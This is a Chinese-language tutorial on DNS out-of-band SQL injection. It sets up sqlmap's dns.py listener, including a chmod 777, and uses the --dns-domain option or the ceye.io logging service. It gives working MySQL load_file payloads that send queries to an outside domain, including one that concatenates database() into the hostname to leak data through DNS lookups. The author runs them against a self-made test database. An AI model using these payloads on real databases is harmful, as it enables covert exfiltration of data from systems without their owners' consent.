为什么要使用DNS注入?

盲注跑数据太慢的情况下,选择DNS注入是一个好办法

DNS注入的原理?

域名DNS指向的是我们服务器的域名,意味着解析域名时需向DNS服务器查询。通过递归查询可以获取数据库上的信息。要记住整个域名内的节点标签被限制在63个字符长度大小

DNS 注入场景

1) 数据库注入

数据库在配置中允许域名解析时,到数据库中查看:

show variables like ‘skip_name_resolve’;

skip_name_resolve这个参数是禁止域名解析

skip_name_resolve 为off时会进行域名解析

情况一:

1.首先我们服务器上安装sqlmap

发现服务器已有2.6的python环境了 ▼

直接pip install sqlmap,安装sqlmap▼

  1. 接着上个步骤

找到sqlmap根目录 下的dns.py

cd/usr/lib/python2.6/site-packages/sqlmap/lib/request/

注释:

dns.py

它的作用是监听53端口,先给它一个执行权限,+x

注:这里笔者给了最大权限

chmod 777 dns.py

在mysql命令行执行

select load_file(“\\xxx.zka7.xyz\txf”);

\\ 经过传输后会变成\

txf是域名的下级目录,可以随便构造

执行后服务器就会有数据包(xxx.zka7.xyz)出现

  1. Sqlmap的自动化实现

  2. 在sqlmap中实现DNS注入加上参数–dns-domain=域名

  1. 服务器安装好sqlmap后运行dns.py

即可实现自动化

情况二: 不买域名也不买服务器

如何能在不想买域名也不想买服务器的情况下也玩一波DNS注入呢?

其实有现成的服务:http://ceye.io

有一个分配给你的二级域名▲

在数据库中输入

select load_file(“\\tangxiaofeng.1odz7u.ceye.io\aaa”);

可以看到tangxiaofeng这个帅气的名字▲

试一下拼接:

首先本地选择一个表 use sqltest;

接着 select load_file(concat(“\\“,(select database()),”.1odz7u.ceye.io\txf”));

注:这里的sqltest是笔者自己建的表

database 出来了